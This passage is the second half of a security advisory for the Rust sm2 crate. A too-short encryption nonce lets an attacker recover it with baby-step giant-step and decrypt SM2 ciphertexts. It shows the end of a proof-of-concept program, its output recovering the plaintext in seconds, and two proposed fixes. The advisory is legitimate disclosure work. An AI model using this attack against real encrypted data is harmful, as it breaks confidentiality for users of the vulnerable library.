Advisory

GHSA-w3g8-fp6j-wvqw

Details, part 2 of 2. The advisory

Details

let msg = b"attack-demo-sm2-bsgs-recover-example";
let ct = ek.encrypt(&mut rng, msg)?;
print!("Trying to recover k and decrypt...\n");
let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
Ok(())
}


To run the PoC (tested on Apple M3): 

```bash
$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

  • Fix 1: Modify the input parameter to the correct 256 bits
  let k_uint = next_k(rng, N_BYTES * 8)?;
  • Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.
  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }

Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab
  • Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at [email protected].

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Sources & licences